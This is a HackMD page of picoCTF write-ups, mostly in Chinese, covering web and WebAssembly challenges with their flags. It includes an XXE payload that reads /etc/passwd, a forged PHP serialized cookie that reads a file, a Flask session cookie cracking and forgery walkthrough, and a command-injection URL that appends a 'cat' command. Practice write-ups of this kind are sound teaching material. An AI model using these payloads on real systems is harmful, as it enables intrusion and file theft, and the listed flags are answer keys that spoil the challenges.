{%hackmd ByQxIPyRT %} ***picoCTF*** * [<font color="#ff0000">p</font>icoCTF](https://picoctf.org/) --- [TOC] --- <br/> <br/> <br/> <br/> <br/> <br/> ## Includes **Description** Can you get the flag? Go to this website and see what you can discover. **HINT** Is there more code than what the inspector initially shows?   **Flag**:picoCTF{1nclu51v17y_1of2_f7w_2of2_df589022} <br> <br> ## Inspect HTML **Description** Can you get the flag? Go to this website and see what you can discover. **HINT** What is the web inspector in web browsers?  **Flag**:picoCTF{1n5p3t0r_0f_h7ml_fd5d57bd} <br> <br> ## Local Authority **Description** Can you get the flag? Go to this website and see what you can discover. **HINT** How is the password checked on this website?  隨便登入失敗後,會多一個 secure.js 檔案。 **Flag**:picoCTF{j5_15_7r4n5p4r3n7_a8788e61} **REF**:https://forum.snkms.com/post-629 <br> <br> ## Search source **Description** The developer of this website mistakenly left an important artifact in the website source, can you find it? **HINT** How could you mirror the website on your local machine so you could use more powerful tools for searching? 先用 HTTrack clone出網站,並在 CMD 中輸入: ``` findstr /s /i /c:"picoCTF" E:\copyweb\test\*.txt E:\copyweb\test\*.css E:\copyweb\test\*.js ``` **Flag**:picoCTF{1nsp3ti0n_0f_w3bpag3s_ec95fa49} **REF**:https://medium.com/@newan0805/search-source-picoctf-2a50a9dc2820 <br> <br> ## ☄️findme **Description** Help us test the form by submiting the username as test and password as test! Additional details will be available after launching your challenge instance. **HINT** any redirections? 需要觀察重新導向,302 method,使用BURP。 這題需要注意帳號`test`密碼`test!`,之後會在 302 method封包中看到 `Location: /next-page/id=cGljb0NURntwcm94aWVzX2Fs`。   `cGljb0NURntwcm94aWVzX2Fs`進行 base64 解密。 得到`picoCTF{proxies_al`。 在網址後面替換成`/next-page/id=cGljb0NURntwcm94aWVzX2Fs`。  將兩組 id 後字串進行 base64 解密。 **Flag**:picoCTF{proxies_all_the_way_3d9e3697} <br> <br> ## MatchTheRegex **Description** How about trying to match a regular expression Additional details will be available after launching your challenge instance. **HINT** Access the webpage and try to match the regular expression associated with the text field 符合 script 的 Code 要求。  猜測密碼為`picoCTF`。 **Flag**:picoCTF{succ3ssfully_matchtheregex_c64c9546} **REF**:https://hackmd.io/@nabilmuafa/ryanc7Vg3 <br> <br> ## ☄️SOAP **Description** The web project was rushed and no security assessment was done. Can you read the /etc/passwd file? Additional details will be available after launching your challenge instance. **HINT** XML external entity Injection detailCheck.js 看起來怪怪的。  可以從 xmlDetailsCheckPayload.js 知道是XXE。 XXE(外部實體注入)是一種安全漏洞,主要發生在XML處理中。XML(可擴展標記語言)是一種常用於資料庫和交換的標記語言。在XXE攻擊中,通過在XML文檔中注入惡意實體,利用XML解析器對外部實體的支持來實施攻擊。攻擊的目標通常是獲取敏感信息,如訪問文件系統中的文件內容或執行遠程請求。  查看 POST 中,其指定了`action:/data`路徑。  因此,只需使用 XML Payload向 <url_of_site>/data 發出 POST 請求即可取得flag。  Postman  ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file://etc/passwd"> ]> <data><ID>&file;</ID></data> ``` 1. `<!ENTITY file SYSTEM "file://etc/passwd">`:這一行定義了一個 XML 實體,名為 file,它指向文件系統中的 /etc/passwd 文件。 2. `<data><ID>&file;</ID></data>`:在 XML 數據中使用了這個實體,將其插入到 \<ID> 元素中。當 XML 解析器處理這個 XML 文件時,會嘗試解析 &file; 實體。 3. 由於 file 實體指向 `file://etc/passwd,XML` 解析器會嘗試載入 /etc/passwd 文件的內容並將其插入到文檔中。  **Flag**:picoCTF{XML_3xtern@l_3nt1t1ty_e79a75d4} **REF**:https://github.com/DanArmor/picoCTF-2023-writeup/blob/main/Web%20Exploitation/SOAP/SOAP.md <br> <br> ## ☄️Some Assembly Required 2 確認 DWARF 可使用。[Google](https://developer.chrome.com/blog/wasm-debugging-2020?hl=zh-tw)/[Edge](https://learn.microsoft.com/en-us/microsoft-edge/devtools-guide-chromium/experimental-features/)/F12。 **Method 1** 首先在搜尋欄中輸入`pico`測試,設斷點看到 buffer 中傳遞。  分支中運算: ``` block $label0 local.get $var5 i32.eqz br_if $label0 local.get $var4 i32.load offset=12 local.set $var6 i32.const 8 local.set $var7 local.get $var6 local.get $var7 i32.xor local.set $var8 local.get $var4 local.get $var8 i32.store offset=12 end $label0 ``` i32.const 8: 推送常數值 8 到堆疊上。 local.set $var7: 把堆疊頂部的值(常數 8)存儲到本地變數 $var7 中。 local.get $var6: 從本地變數 $var6 中取得值。 local.get $var7: 從本地變數 $var7 中取得值。 i32.xor: 對 $var6 和 $var7 的值進行按位 XOR 操作。 <br>  "xakgK\5cNs>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00" 放在 WebAssembly 內存的偏移位置 1024 開始的地方。 <br> 因為`i32.store8 offset=1072`,因此查看 Int8Array [1000...1099]。  ``` ord('p')^8 --> 120 chr(120^8) --> 'p' ``` 所以理解其運算規則後, ``` CMD python 3 >>> from pwn import * >>> xor("xakgK\\Ns>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00", 8) ``` <br> **Method 2** 需要的工具:`wasm2wat`、`wasm-decompile` `wasm2wat` 將WebAssembly二進位文件(.wasm)轉換為WebAssembly文本表示形式(.wat)有以下用途:首先,wat格式更易於人類理解,有助於開發人員查看、調試和優化WebAssembly代碼。其次,轉換為wat格式方便在代碼中設置斷點、進行單步調試和觀察變數。最後,這使得開發人員能夠更輕鬆地手動修改WebAssembly代碼,然後再將其轉回wasm進行執行。 轉換完可以看到 ``` if (eqz(f)) goto B_a; var g:int = e[3]; var h:int = 8; var i:int = g ^ h; e[3] = i; label B_a: var j:int = e[3]; ``` 然而, ``` data d_xakgKNsnjl909mjn9m0n9088100u(offset: 1024) = "xakgK\Ns>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00"; ``` 字元在被保存在偏移量之前被 8 進行 XOR。 ``` Python from pwn import * xor("xakgK\\Ns>n;jl90;9:mjn9m<0n9::0::881<00?>u\00\00", 8) ``` **Flag**:picoCTF{6f3bd18312ebf1e48f12282200948876} **REF**:https://hackmd.io/@nataliepjlin/SJi2N-z2h https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF/Some_Assembly_Required_2.md <br> <br> ## ☄️Super Serial **Description** Try to recover the flag stored on this website **HINT** The flag is at ../flag Object Serialization 漏洞通常發生於應用程式使用了 PHP 的 serialize 和 unserialize 函數來處理對象。攻擊者可能會利用這個漏洞,將精心製作的序列化資料傳遞給應用程式,進而執行惡意操作。在這種情況下,可能的情境是,robots.txt 指示了一些文件,參與者通過讀取這些文件,找到了應用程式中使用 Object Serialization 的區域,進而發現相應的漏洞點。 網址後面加入 `/robots.txt`。  將網址改成`/index.phps`查看。 可以看到`cookie.php`與`authentication.php`。 ``` <?php require_once("cookie.php"); if(isset($_POST["user"]) && isset($_POST["pass"])){ $con = new SQLite3("../users.db"); $username = $_POST["user"]; $password = $_POST["pass"]; $perm_res = new permissions($username, $password); if ($perm_res->is_guest() || $perm_res->is_admin()) { setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>'; } } ?> ``` <br> <br> `/cookie.phps`。在 cookie.php 檔案中找到解碼區域的程式碼,它會先將序列化的物件進行反序列化,接著呼叫物件上的 is_guest 和 is_admin 方法。在整個過程中,有一個 try-catch 區塊,當反序列化物件出錯時,會將**錯誤的部分附加到字串上**。 ``` if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ``` <br> `/authentication.phps`。在 access_log 檔案中,有一個名為 read_log 的函數,該函數負責處理檔案讀取操作。這個函數會在物件的 __toString 方法被呼叫時被觸發。 ``` class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } ``` 這個任務的目標是讀取位於 "../flag" 路徑下的檔案內容。 只需將 cookie 編輯為序列化、base64 和 URL 編碼的 access_log, 指向 ../flag 並請求主頁。 <br> 因此,解題方法是建立一個 access_log 的物件,並將其 log_file 屬性設置為 "../flag"。當這個物件被反序列化並呼叫時,由於缺少 is_guest 方法,會引發錯誤。在錯誤處理中,錯誤的部分會被附加到字串上,最終觸發 __toString 方法。在這個方法中,read_log 被呼叫,成功地讀取了目標檔案的內容。 **寫法一** ``` <?php class access_log { public $log_file = "../flag"; } print(urlencode(base64_encode(serialize(new access_log())))); ?> ``` **寫法二** ``` <?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } #echoserialize(new access_log("../flag")); echo base64_encode(serialize(new access_log("../flag"))); ?> ``` 執行後得到: `TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9` 在`/authentication.php`中的 Cookie 中新增完後重新整理。 `login:TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9`  **Flag**:picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1} **REF**:https://ctftime.org/writeup/27373 https://ctftime.org/writeup/27162 https://youtu.be/Eu3nFVAwAK0?si=cxXdHlkdUkAZuhFX https://blog.maple3142.net/2021/03/30/picoctf-2021-writeups/#super-serial <br> <br> ## ☄️Most Cookies **Description** Alright, enough of using my own encryption. Flask session cookies should be plenty secure! File:server.py **HINT** How secure is a flask cookie? `server.py` ``` cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] ... @app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp ``` [Flask Unsign](https://github.com/Paradoxis/Flask-Unsign) 是 Flask 框架中的一個工具,用於反向操作 Flask 的簽名機制。在 Flask 中,簽名是一種保護數據完整性和安全性的手段,通常使用 `itsdangerous` 模組的 `URLSafeSerializer` 類進行。`Flask Unsign` 允許開發者解開已簽名的資料,獲取原始資料,這在測試、調試或資料恢復等場景中可能會有用。然而,使用這種工具要謹慎,以免造成安全風險。 `pip install flask-unsign[wordlist]` ``` # Create wordlist cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] F = open('wordlist.txt', 'w') for name in cookie_names: F.write(name + "\n") ``` 使用指定的字典文件 (wordlist.txt) 對已簽名的 cookie 進行解簽名操作。這樣的操作可能用於測試安全性或檢查系統的弱點,但在實際應用中,解簽名攻擊是不應該發生的,因為密鑰的保密性是維持簽名安全的關鍵。 ``` flask-unsign --unsign --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.ZbOOdg.rC5bXEnFe6JjxyoF1gXNfp3-wSM --wordlist E:\wordlist.txt ``` 若無法執行flask可參考解[環境變數](https://blog.csdn.net/qq_41320433/article/details/106953293)&[stackoverflow](https://stackoverflow.com/questions/58675081/why-does-running-flask-run-on-windows-result-in-flask-is-not-recognized-as-an)。  攻擊的結果取決於字典文件中是否包含正確的密鑰。如果成功,則該攻擊將獲得解簽名後的原始資料,這可能包含應用中使用的某些敏感信息。看來是`fortune`。 ``` flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret "fortune" ```  將解密的cookie設置為 `[session:eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.ZbOOwg.XPs8Uztg5bcSvYGXxXXfcmwmEuY]`重整得到Flag。   **Flag**:picoCTF{pwn_4ll_th3_cook1E5_743c20eb} **REF**:https://youtu.be/WK9zQBXO50s?si=by28HsJKyT9t7IdC https://medium.com/@MohammedAl-Rasheed/picoctf-2021-most-cookies-7f3d8b6cd0b <br> <br> ## caas **Description** Now presenting cowsay as a service File:index.js `https://caas.mars.picoctf.net/cowsay/hi;cat%20falg.txt` **Flag**:picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o} **REF**:https://github.com/whiteSHADOW1234/picoCTF_writeup/blob/main/picoCTF_writeup(11~15page).md#caas <br> <br> ## ☄️Some Assembly Required 3 **Description** none  `wget http://mercury.picoctf.net:60154/qCCYI0ajpD` 在github下載[wabt](https://github.com/WebAssembly/wabt)。 `~/wabt/build/wasm-decompile ~/Desktop/qCCYI0ajpD ` 得到: ``` function copy(a:int, b:int) { var c:int = g_a; var d:int = 16; var e:int_ptr = c - d; e[3] = a; e[2] = b; var f:int = e[3]; if (eqz(f)) goto B_a; var g:int = 4; var h:int = e[2]; var i:int = 5; var j:int = h % i; var k:ubyte_ptr = g - j; var l:int = k[1067]; var m:int = 24; var n:int = l << m; var o:int = n >> m; var p:int = e[3]; var q:int = p ^ o; e[3] = q; label B_a: var r:int = e[3]; var s:byte_ptr = e[2]; s[1072] = r; } ``` 按照架構撰寫。\要改為\x十六進制表示。 ``` flag = "\x9d\x6e\x93\xc8\xb2\xb9A\x8b\x9f\x90\x8cb\xc5\xc3\x95\x884\xc8\x93\x92\x88?\xc1\x92\xc7\xdb?\xc8\x9e\xc7\x891\xc6\xc5\xc9\x8b6\xc6\xc6\xc0\x90\x00\x00" key = "\xf1\xa7\xf0\x07\xed" for i in range(len(flag)): print(chr(ord(flag[i]) ^ ord(key[4 - (i % 5)])), end="") ``` **Flag**:picoCTF{8aae5dde384ce815668896d66b8f16a1} **REF**:https://youtu.be/HSaSj6ncoEg?si=OMWpfaufWLRIce0R https://hackmd.io/@nataliepjlin/BJwa3wG3n https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF/Some_Assembly_Required_3.md
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up